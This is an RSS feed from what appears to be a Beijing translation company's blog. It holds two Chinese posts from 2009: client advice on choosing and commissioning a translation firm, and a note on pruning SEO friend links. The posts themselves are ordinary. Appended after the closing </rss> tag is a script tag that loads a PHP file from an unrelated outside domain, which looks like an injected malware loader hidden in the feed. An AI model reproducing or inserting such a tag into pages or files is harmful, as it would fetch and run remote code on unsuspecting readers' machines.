<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>日月同声翻译博客 &#187; 翻译公司</title>
	<atom:link href="http://www.rytsol.com/blog/tag/%e7%bf%bb%e8%af%91%e5%85%ac%e5%8f%b8/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.rytsol.com/blog</link>
	<description>北京日月同声翻译有限公司</description>
	<lastBuildDate>Tue, 08 Jun 2010 15:05:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>客户需要的翻译公司</title>
		<link>http://www.rytsol.com/blog/2009/06/06/%e5%ae%a2%e6%88%b7%e9%9c%80%e8%a6%81%e4%bb%80%e4%b9%88%e6%a0%b7%e7%9a%84%e7%bf%bb%e8%af%91%e5%85%ac%e5%8f%b8/</link>
		<comments>http://www.rytsol.com/blog/2009/06/06/%e5%ae%a2%e6%88%b7%e9%9c%80%e8%a6%81%e4%bb%80%e4%b9%88%e6%a0%b7%e7%9a%84%e7%bf%bb%e8%af%91%e5%85%ac%e5%8f%b8/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 16:37:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[公司文化]]></category>
		<category><![CDATA[翻译公司]]></category>
		<category><![CDATA[质量保证]]></category>
		<category><![CDATA[项目流程]]></category>

		<guid isPermaLink="false">http://www.rytsol.com/blog/?p=34</guid>
		<description><![CDATA[在信息技术领域，大家都在遵循一个相似的项目流程在完成一个又一个的产品及软件，这个相似的项目流程就是软件工程, 执行软件工程规范的依据是什么呢, 是客户需求,  其实这一点在各个领域里都是一样的, 那么在我们翻译领域, 客户的需求同样是我们翻译活动的源泉, 不同领域不同场合的翻译需求是当然是各种各样的,但这之中不变是什么呢, 首先便是如何来选择合适的翻译公司,其次就是如何委托及项目流程实施中的质量保证及翻译规范了. 通过多年的翻译项目实践, 我们对此有着深切的体会, 而这点有些达人也已经有些总结了, 这里就详细列一下在这些点上,客户的一般性考虑:
第一点:如何选择翻译公司
A 、 看公司有无正规发票 : 能出具该公司正规发票的，就说明其经过了工商、税务登记，是正规翻译企业，翻译质量容易有保障，即使有问题也可以通过正常途径解决。
B 、 看公司报价是否合理 : 俗话说一分钱一分货、便宜没好货，翻译本来是智力与体力相结合的耗时劳动，报酬应该比较高，如果翻译价格偏低，说明翻译公司本身不过硬，或者翻译人员缺少积极性而偷工减料，最后还是客户暗地里吃亏。
C 、 看公司有无全职翻译 : 配备全职翻译的公司必然尽可能地将业务消化于翻译公司内部，随着翻译经验的日积月累，其翻译水平和翻译质量也就 越来越高，而依靠兼职翻译的公司天天换人，翻译质量难得稳定，售后服务更难保证。试想，连全职翻译都养不起的公司，能有多少业务可接？能有什么实力可谈？
D 、 看公司广告是否较多 : 广告需要资金投入，广告越多，说明其资金实力越强，越有能力网罗到优秀翻译人才，同时因其知名度高，翻译业务也多，容易良性循环。
E 、 看公司办公场地如何 : 正规翻译公司有资金实力，往往会租用或购置办公大楼，各类设备齐全。而小型公司往往屈居民宅或只够一两人的小办公室，节俭的公司也许服务不错，也许能有发展，但那不是现在而是 “ 将来 ” 。
第二点:委托笔译注意事项
A 、 版权署名 : 一般情况下，译文的版权及其使用权归客户，署名权归翻译者，客户应提交无版权争议的翻译稿件。
B 、 事前准备 : 客户一般要提前准备有关专业术语和以往翻译过的资料供翻译者参考，并提出具体的翻译和排版等要求，建议使用书面委托，以免发生争议时口说无凭。翻译过程中双方要多作沟通和交流。
C 、 质量标准 : 客户可自主使用译文，翻译者不能分享其利润也不会分担其损失。对翻译质量异议，客户须在接稿后尽快提出 , 翻译者会作免 费修改。翻译风格、表达方式等因人而异，没有绝对标准，这也是大多数翻译公司不敢作定量承诺的原因，所以委托口碑良好、实力较强、运作规范的翻译公司承担 翻译任务比较保险。
D 、 计费办法 : 一般按估算额的 60% 预付稿酬，交稿时付清余款。正常翻译量每日 5000 字，加急增收 30—100% 。阿尔 泰语系的翻译费按外文字数计算，其他语系的翻译费按中文字数（不计空格的字符数）计算，不足千字作千字计算。客户接稿后再对原文作增改要另行付费。客户若 中途取消须按已翻译完部分支付翻译费。
E 、 售后服务 : 译文如用于视听资料、印刷品、网站等方面，可能由于制作者不懂外文而造成多字、漏字、错字等现象，为避免损失，客户应在半成品时委托翻译者审核，可能再次适当付费、量少时也许还会享受免费服务。
F 、 保密措施 : 要求翻译者不得擅自泄露所译内容。客户不要求收回原稿译文稿的，交稿一年后翻译者一般也要全部销毁。
第三点:委托口译注意事项
A 、 职业道德：在口译界有一条准则，那就是翻译人员在工作过程当中所获得的任何属于独有性或隐私性的内容都必须加以保密，未经客户或通过必要的法律手续不得向外界透露。同时，客户不得避开翻译公司而直接与翻译人员安排额外的翻译任务或者讨论翻译费用或其它的安排。
B 、 安全保障：客户必须采取切实有效的措施保障翻译人员的人身及财产安全，如实告知有关注意事项。如非翻译人员原因，客户首先承担安全保障责任。客户要为翻译人员提供合理的饮食和中途休息时间以避免工作效率减低。
以上这三点, 对客户尤其是对翻译实施提出各自的客观要求, 确实是客户,翻译公司,翻译译员三方应该严格遵守的. 我们公司的翻译业务流程是符合这些要求的,并且也在践行,改进这些具体措施, 这里再列出来, 也是对公司的业务活动有一个警示作用.
]]></description>
			<content:encoded><![CDATA[<p>在信息技术领域，大家都在遵循一个相似的项目流程在完成一个又一个的产品及软件，这个相似的项目流程就是软件工程, 执行软件工程规范的依据是什么呢, 是客户需求,  其实这一点在各个领域里都是一样的, 那么在我们翻译领域, 客户的需求同样是我们翻译活动的源泉, 不同领域不同场合的翻译需求是当然是各种各样的,但这之中不变是什么呢, 首先便是如何来选择合适的翻译公司,其次就是如何委托及项目流程实施中的质量保证及翻译规范了. 通过多年的翻译项目实践, 我们对此有着深切的体会, 而这点有些达人也已经有些总结了, 这里就详细列一下在这些点上,客户的一般性考虑:</p>
<p>第一点:如何选择翻译公司</p>
<p>A 、 看公司有无正规发票 : 能出具该公司正规发票的，就说明其经过了工商、税务登记，是正规翻译企业，翻译质量容易有保障，即使有问题也可以通过正常途径解决。<br />
B 、 看公司报价是否合理 : 俗话说一分钱一分货、便宜没好货，翻译本来是智力与体力相结合的耗时劳动，报酬应该比较高，如果翻译价格偏低，说明翻译公司本身不过硬，或者翻译人员缺少积极性而偷工减料，最后还是客户暗地里吃亏。<br />
C 、 看公司有无全职翻译 : 配备全职翻译的公司必然尽可能地将业务消化于翻译公司内部，随着翻译经验的日积月累，其翻译水平和翻译质量也就 越来越高，而依靠兼职翻译的公司天天换人，翻译质量难得稳定，售后服务更难保证。试想，连全职翻译都养不起的公司，能有多少业务可接？能有什么实力可谈？<br />
D 、 看公司广告是否较多 : 广告需要资金投入，广告越多，说明其资金实力越强，越有能力网罗到优秀翻译人才，同时因其知名度高，翻译业务也多，容易良性循环。<br />
E 、 看公司办公场地如何 : 正规翻译公司有资金实力，往往会租用或购置办公大楼，各类设备齐全。而小型公司往往屈居民宅或只够一两人的小办公室，节俭的公司也许服务不错，也许能有发展，但那不是现在而是 “ 将来 ” 。</p>
<p>第二点:委托笔译注意事项</p>
<p>A 、 版权署名 : 一般情况下，译文的版权及其使用权归客户，署名权归翻译者，客户应提交无版权争议的翻译稿件。<br />
B 、 事前准备 : 客户一般要提前准备有关专业术语和以往翻译过的资料供翻译者参考，并提出具体的翻译和排版等要求，建议使用书面委托，以免发生争议时口说无凭。翻译过程中双方要多作沟通和交流。<br />
C 、 质量标准 : 客户可自主使用译文，翻译者不能分享其利润也不会分担其损失。对翻译质量异议，客户须在接稿后尽快提出 , 翻译者会作免 费修改。翻译风格、表达方式等因人而异，没有绝对标准，这也是大多数翻译公司不敢作定量承诺的原因，所以委托口碑良好、实力较强、运作规范的翻译公司承担 翻译任务比较保险。<br />
D 、 计费办法 : 一般按估算额的 60% 预付稿酬，交稿时付清余款。正常翻译量每日 5000 字，加急增收 30—100% 。阿尔 泰语系的翻译费按外文字数计算，其他语系的翻译费按中文字数（不计空格的字符数）计算，不足千字作千字计算。客户接稿后再对原文作增改要另行付费。客户若 中途取消须按已翻译完部分支付翻译费。<br />
E 、 售后服务 : 译文如用于视听资料、印刷品、网站等方面，可能由于制作者不懂外文而造成多字、漏字、错字等现象，为避免损失，客户应在半成品时委托翻译者审核，可能再次适当付费、量少时也许还会享受免费服务。<br />
F 、 保密措施 : 要求翻译者不得擅自泄露所译内容。客户不要求收回原稿译文稿的，交稿一年后翻译者一般也要全部销毁。</p>
<p>第三点:委托口译注意事项</p>
<p>A 、 职业道德：在口译界有一条准则，那就是翻译人员在工作过程当中所获得的任何属于独有性或隐私性的内容都必须加以保密，未经客户或通过必要的法律手续不得向外界透露。同时，客户不得避开翻译公司而直接与翻译人员安排额外的翻译任务或者讨论翻译费用或其它的安排。<br />
B 、 安全保障：客户必须采取切实有效的措施保障翻译人员的人身及财产安全，如实告知有关注意事项。如非翻译人员原因，客户首先承担安全保障责任。客户要为翻译人员提供合理的饮食和中途休息时间以避免工作效率减低。</p>
<p>以上这三点, 对客户尤其是对翻译实施提出各自的客观要求, 确实是客户,翻译公司,翻译译员三方应该严格遵守的. 我们公司的翻译业务流程是符合这些要求的,并且也在践行,改进这些具体措施, 这里再列出来, 也是对公司的业务活动有一个警示作用.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rytsol.com/blog/2009/06/06/%e5%ae%a2%e6%88%b7%e9%9c%80%e8%a6%81%e4%bb%80%e4%b9%88%e6%a0%b7%e7%9a%84%e7%bf%bb%e8%af%91%e5%85%ac%e5%8f%b8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>整理网站友情链接</title>
		<link>http://www.rytsol.com/blog/2009/05/29/clean-some-links/</link>
		<comments>http://www.rytsol.com/blog/2009/05/29/clean-some-links/#comments</comments>
		<pubDate>Fri, 29 May 2009 05:46:08 +0000</pubDate>
		<dc:creator>yys</dc:creator>
				<category><![CDATA[网站SEO]]></category>
		<category><![CDATA[公司博客]]></category>
		<category><![CDATA[友情链接]]></category>
		<category><![CDATA[翻译公司]]></category>

		<guid isPermaLink="false">http://www.rytsol.com/blog/?p=30</guid>
		<description><![CDATA[昨天BBS及站长的QQ群都在反映一个现象，就是google的PR和百度在同一天进行了更新，检查了本网站，首页PR没动；各别网页及本公司博客倒是小有变动，特别是本公司博客的PR由没有升为2，算是小小的欣慰吧；百度快照也更新到了27号，但一些关键词的排名又有些下滑。
说一下这几个下滑的关键词，其实就是北京翻译公司及翻译公司两个，最近一直起起伏伏，显示竞争真的很激烈！必须每天都要去关注它才行，因此，根据这两天的情况，已经有必要检查一下网站的情况了，主要就是友情链接这一块，因为最近就一直在整它，经过检查，对以下网站进行了清理，因为这几个网站的友链里均有被百度K的链接：

ziyou5的自由世纪导航网
51bbw的礼物网
fenghuang163的凤凰礼品

另外，将外汇开户的友链移至内页，因为其有疑似被K的站。
这些信息已通过QQ群发布。
]]></description>
			<content:encoded><![CDATA[<p>昨天BBS及站长的QQ群都在反映一个现象，就是google的PR和百度在同一天进行了更新，检查了本网站，首页PR没动；各别网页及本公司博客倒是小有变动，特别是本公司博客的PR由没有升为2，算是小小的欣慰吧；百度快照也更新到了27号，但一些关键词的排名又有些下滑。</p>
<p>说一下这几个下滑的关键词，其实就是北京翻译公司及翻译公司两个，最近一直起起伏伏，显示竞争真的很激烈！必须每天都要去关注它才行，因此，根据这两天的情况，已经有必要检查一下网站的情况了，主要就是友情链接这一块，因为最近就一直在整它，经过检查，对以下网站进行了清理，因为这几个网站的友链里均有被百度K的链接：</p>
<ul>
<li>ziyou5的自由世纪导航网</li>
<li>51bbw的礼物网</li>
<li>fenghuang163的凤凰礼品</li>
</ul>
<p>另外，将外汇开户的友链移至内页，因为其有疑似被K的站。</p>
<p>这些信息已通过QQ群发布。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rytsol.com/blog/2009/05/29/clean-some-links/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>